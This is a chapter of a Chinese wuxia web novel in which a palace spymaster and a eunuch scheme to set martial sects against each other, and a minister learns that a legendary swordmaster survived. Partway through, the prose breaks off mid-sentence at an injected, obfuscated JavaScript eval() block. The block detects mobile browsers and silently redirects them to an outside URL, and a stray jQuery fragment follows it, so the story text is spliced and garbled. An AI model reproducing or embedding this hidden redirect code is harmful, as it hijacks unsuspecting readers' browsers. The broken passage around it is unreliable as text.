25. 算计之心
作品:《江湖与君》 玉京城,皇宫。
皇宫分前殿和后宫,而前殿两旁,还有偏门三十二房,其中西边十六房最里面的那间屋子,被人轻轻推开,一个老人坐在其中,正和一人坐在那里对弈。
“首尊。”来人轻轻唤了一声。
老人须发皆白,眼神锐利,闻言微微侧首。
“寒江剑宗和万仞剑宗的传信。”来人垂首道。
老人未抬眼,只拈起一枚棋子落下。
来人将信放在桌边,恭敬行礼后,悄悄退下。
“五大剑宗中,你倒有不少势力。”对弈之人笑道,他的声音中带着几分阴寒。
老人端起手边的茶水,缓缓道:“不过是结盟,各取所需罢了。”
“各取所需?若寒江剑宗知道当年是你坑了他们,以致唐门视他们为眼中钉肉中刺,不知道那位寒江剑仙作何感想?”对弈之人手指轻轻敲着桌面。
棋盘上响起一声脆响,老人指间的黑子裂开细纹,他不动声色地换了一子,“唐门本就与寒江剑宗结下仇怨,我不过是推波助澜。”
“可你派去的那个废物坏了事。”对弈之人冷哼一声:“他应该直接杀了那小姑娘,斩草不除根,春风吹又深,这个道理夏首尊应该比我明白。”
老人神色微微一变,没有说话。
当年棋差一招,那个人没有干脆利落的直接下手,反而拖到唐门的人来相救,让那小姑娘活了下来,确实会后患无穷。
“唐门与寒江剑宗因为二十年前那件事结下死仇,可双方实力差距过于悬殊,如果不是十八年前唐门内乱,让唐门这些年来一直在休养生息,我看五大剑宗,就剩四个了。”对弈之人继续说道:“你对那小姑娘下手,嫁祸给寒江剑宗,就是想逼唐门灭了寒江剑宗,只要唐门出手,万仞剑宗看在姻亲的面子上定会出手相帮。但依附唐门的门派众多,若唐门倾巢而出,五大剑宗另外三个还能坐得住吗?一场江湖上的血雨腥风啊,哈哈哈。”
对弈之人的笑声清晰地回荡在屋内,颇有几分尖锐。
“算计是好算计,可你没料到,唐老太爷竟会忍下这口气。”对弈之人微微摇头:“你以一己之力得罪了唐门和陆斯年,这可不是个好结果。”
“陆斯年也很让我刮目相看。”老人冷哼一声,眼神冰冷。
“这位陆尚书也很能忍,明明猜到伤害自己女儿的人就是你,所有的线索也都指向你,却依然上下朝碰见你时,与你客客气气打招呼。”对弈之人落下一子:“如此心性,真不愧是当朝最年轻的六部尚书之首。”
“呵,当年提拔他,难道不是因为宸妃?”老人也落下一子:“陛下过于爱重宸妃了。”
“所以当年宸妃进了冷宫之后,你也去见过她吧。”对弈之人拈着棋子,笑着问道。
老人猛地抬眉,一股强大的杀气散出,整座房屋微微摇晃。
对弈之人手轻轻一挥,将那股杀气压了下去。
老人目光如冰刃般刺向对面:“大监,在这宫里,宸妃两个字是禁忌。”
“难道不是首尊先提起的吗?”被称作大监的对弈之人从容落下棋子,拿起桌上的一杯茶。
“冷了。”老人平静道。
“不妨。”对弈之人手指轻轻触碰了一下杯底,那盏凉茶一下子沸腾了起来,冒出腾腾热气,他轻轻地吹了吹气,喝下一口。
“用绵劲诀来热茶,大监的内功越发精纯了。”老人深深地看了眼对坐之人。
一身紫色蟒袍,皮肤比起年轻女子来说还要更细腻几分,一双眼眸总是带着几分妖邪和狠厉。这就是曾跟随当今陛下在战场上出生入死,立过战功,后又掌大内事务,文臣武将无不对其客客气气,是真正意义上宦官们的最高首领——掌印大监,浊彦公公。
浊彦大监放下茶杯,目光掠过桌角未拆的信封。
老人会意,不再纠缠先前的话题。只是拆开信封,在看到关于太初剑典的猜测,眉头微微一皱,继而看到那个姓谢的少年时,眉头微微舒展,最后看到那莫名出现的一柄剑,眉头彻底锁紧。
“哦?看来是个很好,又不是那么好的消息。”浊彦大监挑眉问道。
他很少能看到这位掌管影卫司的首尊,脸上会浮现如此复杂的神情。
老人颔首,将信递给了他。
浊彦大监伸手接过,扫了一眼,瞳孔猛地一缩,但他很快恢复平静,待看完信件内容后,意味深长道:“是个好消息。”
老人也在此刻点点头:“既然是好消息,自当与几位王爷共享。”
“陛下那边……”浊彦大监沉吟道:“也该知晓。”
“这位手握重兵的结义兄弟,可是陛下的一块心病。”老人站起身,手中微微用力,将那信纸化为齑粉。
浊彦大监也随之起身,语气淡然:“那就帮陛下去掉这块心病。”他往前几步,准备推门而出时,又回头道:“唐门和陆尚书,首尊还需尽早筹谋。”
“不劳大监费心。”老人面色沉静,做了个请的手势。
浊彦大监耸耸肩,摸着手中的玛瑙戒指离去了。
望着那逐渐远去的紫色身影,老人踏出房门,对候在门外的黑衣人低声耳语几句。
“是!”黑衣人领命而去。
老人独自立在庭院中,仰头望向四周高耸的宫墙。夕阳余晖穿过飞檐,在他脸上投下明暗交错的光影。他缓缓抬手,遮住刺目的日光,嘴角勾起一抹冰冷的笑意:“这天下,是该乱一乱了。”
与此同时,玉京城另一处恢弘豪华的宅院之中。
一只灰羽雀鹰飞进府内书房,淡黄色的脚环上系着小小的竹管,歪头蹭了蹭书桌前正在提笔的人。
那人提笔的手一顿,随即轻柔地解下信管,推开卷成一束的纸条。
目光扫过字条,“啪!”手中狼毫笔断成两截。
“大人。”那人拿着字条,匆忙走出书房,呼喊道:“大人!”
“天塌了嘛,陆尧。”书房外正在浇花的锦衣男子,提着水壶望着一向从容淡定此刻却露出焦急神色的人,微微挑眉。
被唤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583758|186448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作陆尧的人沉声道:“是瑶儿的传信,用的是唐门专门培育可日行千里的雀鹰。”
陆斯年神色一紧,他再了解女儿不过,若非遇到性命攸关或是动摇格局的大事,她绝不可能动用这稀罕雀鹰。他立刻放下水壶,拿走陆尧手中的字条。
目光迅速扫过其上信息,这位当朝掌管吏部,关系网遍布整个大靖的六部尚书之首,陷入良久的沉默。夕阳的余晖在他脸上明灭,最终,他重重地叹了口气:“果然,终究是瞒不住。”
“大人?”陆尧见他神色,心中不由一紧。
陆斯年没有立刻解释,只是抬手示意:“去书房。”
二人重返书房,掩上房门,甫一落座,陆尧便压低声音:“谢侯爷想造反?”
这是句非常大逆不道的话,若无实证便妄议手握重兵的一品军侯有谋逆之心,传出去便是抄家灭族的大罪,定北侯府也绝不会善罢甘休。但作为陆斯年的心腹,陆尧深知此事关乎朝局,必须直言不讳。
“不会。”陆斯年斩钉截铁,沉吟片刻后补充道:“若想造反,八年前便该兵临城下。”
“那……定北侯府的小公子师父到底是不是……”陆尧没有再说下去,但紧锁的眉头并未因“不会造反”的结论而舒展,反而忧虑更深。
陆斯年却知道他心中所想,认真地说道:“是。”
陆尧大惊。
“当年北莽灭国那一战,是由还未封侯的谢霖带领玄甲军所破,凭此不世之功,这位起于草莽,并非出身武将世家的人,被赐封定北侯,坐镇北方。”陆斯年缓缓道:“可这只是世人皆知的事,还有一件事,就连你也不知道。”
“哦?”陆尧倒茶的手一顿,有些讶异。
“北莽虽然是个边陲小国,却人人习武,那些兵士都有武功在身,国主更是号称北莽百年来武功第一,借着南楚和大靖战事正酣时,联合北蛮偷袭大靖邙山,趁虚而入,几乎不费吹灰之力。后来被谢霖带军硬生生拦在朔风城下,那一战打了三个月,其实中途有好几次谢霖差点就被北莽国主派出的高手暗杀,但都被一人给拦了下来,那北莽国主亲自出手亦是不敌,所幸北莽名动世间的高手也不是没有,在家国大义面前,北莽请出了被千机阁武榜评为剑圣的庄瑾。”陆斯年顿了顿,接过陆尧的茶水喝了一口,问道:“这件事你知道吧。”
陆尧点头,语气中带着敬仰与惋惜:“北莽有剑圣,而我们这边一直在军中帮着谢侯爷的人是剑神谷慕云。这二位绝顶高手,在朔风城城头连战八日,最后长剑折首,染血沙场,双双力竭而亡,堪称绝世一战。若没有家国大义横亘其间,他们本该是惺惺相惜的知己。”
他虽不是用剑之人,却依然惋惜两位名动天下之人的陨落,山河破碎,断壁残垣,一曲国殇。
“是啊,若没有立场对立,他们定是知己。”陆斯年同样感慨,即便未曾亲见,亦能想象那绝世的风采。然而,他话锋陡然一转:“不过,我要跟你说的是,这位北莽的剑圣,并没有死。”
“什么?”陆尧惊呼。

